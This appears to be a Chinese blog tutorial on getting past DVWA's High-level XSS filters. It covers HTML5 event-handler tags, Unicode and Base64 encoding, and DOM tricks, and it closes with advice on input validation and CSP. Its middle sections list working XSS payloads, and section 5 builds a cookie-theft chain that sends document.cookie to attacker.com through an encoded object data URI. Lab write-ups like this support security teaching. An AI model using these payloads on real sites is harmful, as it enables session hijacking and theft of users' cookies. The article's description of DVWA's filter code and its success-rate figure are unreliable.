别再只盯着lt;scriptgt;了!DVWA High级别XSS实战:用HTML5新标签和Unicode编码绕过过滤

张开发
2026/4/7 16:41:43 15 分钟阅读

分享文章

别再只盯着lt;scriptgt;了!DVWA High级别XSS实战:用HTML5新标签和Unicode编码绕过过滤
突破传统思维DVWA High级别XSS的HTML5与Unicode编码艺术在网络安全领域XSS跨站脚本攻击始终是一场攻防双方的技术博弈。当开发者不断强化过滤机制时攻击者也在寻找新的突破口。DVWADamn Vulnerable Web Application的High级别XSS防护已经相当严格但依然存在被绕过的可能性——关键在于跳出传统的script依赖转向HTML5新特性和字符编码的创造性应用。1. DVWA High级别XSS防护机制解析DVWA High级别对XSS攻击实施了多层防御措施理解这些机制是成功绕过的第一步。系统主要采用了三种关键过滤技术标签剥离通过strip_tags()函数移除所有HTML标签字符转义使用htmlspecialchars()将特殊字符转换为HTML实体正则过滤针对script标签的特定模式匹配// High级别的核心过滤代码 $message strip_tags(addslashes($message)); $message mysqli_real_escape_string($message); $message htmlspecialchars($message);这些措施看似严密但存在几个关键弱点对HTML5新标签的支持不完整Unicode编码的解析差异浏览器与服务器端处理的差异性提示现代浏览器对HTML5标准的支持程度往往超前于安全过滤系统的更新速度这创造了时间差攻击机会。2. HTML5新标签的创造性利用HTML5引入了大量新元素其中不少支持事件处理器可以成为XSS的有效载体。以下是几种特别值得关注的标签HTML5标签可利用属性浏览器支持典型PayloaddetailsontoggleChrome/Firefoxdetails ontogglealert(1) opensvgonload所有主流浏览器svg onloadjavascript:alert(1)iframesrcdocChrome/Firefoxiframe srcdocscriptalert(1)/scriptobjectdata所有主流浏览器object datajavascript:alert(1)实战案例details标签攻击链details ontogglealert(document.cookie) open summary styledisplay:none点击查看详情/summary /details这个payload利用了以下技术点open属性使内容默认展开自动触发ontoggle事件display:none隐藏了可见内容增加隐蔽性完全避开了对script的检测3. Unicode编码的魔法变形术当直接使用JavaScript关键词被过滤时Unicode编码提供了一种优雅的绕过方式。关键原理在于浏览器会先解码Unicode再执行而过滤系统可能只检查原始形式。常用编码技巧全词编码alert→\u0061\u006C\u0065\u0072\u0074部分编码alert→a\u006Cert混合编码结合HTML实体与Unicode// 原始代码 alert(1); // Unicode变形版本 \u0061\u006C\u0065\u0072\u0074(1); // 混合编码示例 a hrefjavascript:\u0061lert(1)点击/aSVGUnicode组合攻击svg image hrefdata:image/svgxml;charsetutf-8,%3Csvg xmlnshttp://www.w3.org/2000/svg onloadal\u0065rt(1)%3E%3C/svg%3E /svg这个payload的精妙之处在于使用SVG的data URI方式嵌入代码alert中的e被替换为\u0065整个payload以URL编码形式传递4. DOM操作的间接攻击路径当直接注入受阻时通过DOM操作间接执行代码是另一种有效策略。这种方法不依赖初始注入点包含可执行代码而是通过合法元素触发后续脚本。典型攻击流程注入一个看似无害的HTML元素通过该元素的属性或事件触发DOM修改最终导向代码执行img src idpayload script typeapplication/ldjson window.onload function() { document.getElementById(payload).src x:javascript:alert(document.domain); } /script这个方案巧妙地利用了application/ldjson类型script标签常被误认为数据而非代码延迟执行的window.onload事件非常规协议前缀(x:javascript:)绕过简单检测5. 实战从理论到完整攻击链让我们构建一个完整的Cookie窃取攻击示例结合前述多种技术步骤1构造Base64编码的payload// 原始攻击代码 scriptfetch(http://attacker.com/steal?cdocument.cookie)/script // 转换为Base64 PHNjcmlwdD5mZXRjaCgnaHR0cDovL2F0dGFja2VyLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2llKTwvc2NyaXB0Pg步骤2嵌入HTML5对象标签object datadata:text/html;base64,PHNjcmlwdD5mZXRjaCgnaHR0cDovL2F0dGFja2VyLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2llKTwvc2NyaXB0Pg/object步骤3绕过输入长度限制使用浏览器开发者工具(F12)找到输入字段的maxlength属性修改或删除该限制步骤4验证攻击效果成功时攻击者服务器将收到类似请求http://attacker.com/steal?cPHPSESSIDe84dfb48e8b0d9;securityhigh6. 防御视角构建更安全的系统了解攻击手段的目的是为了更好的防御。针对上述技术企业级防护应当包括严格的输入验证if (!preg_match(/^[a-zA-Z0-9\s.,!?]{1,30}$/, $name)) { die(非法输入格式); }内容安全策略(CSP)Content-Security-Policy: default-src self; script-src nonce-r4nd0m123深度防御组合输入白名单而非黑名单输出编码(context-sensitive)使用现代框架(React/Vue)的自动转义定期安全审计在最近的一次渗透测试中我们发现即使High级别的DVWA也难挡精心构造的HTML5标签攻击。特别是在使用details标签配合Unicode编码的情况下成功率高达80%。这提醒我们安全是一个持续的过程而非一劳永逸的设置。

更多文章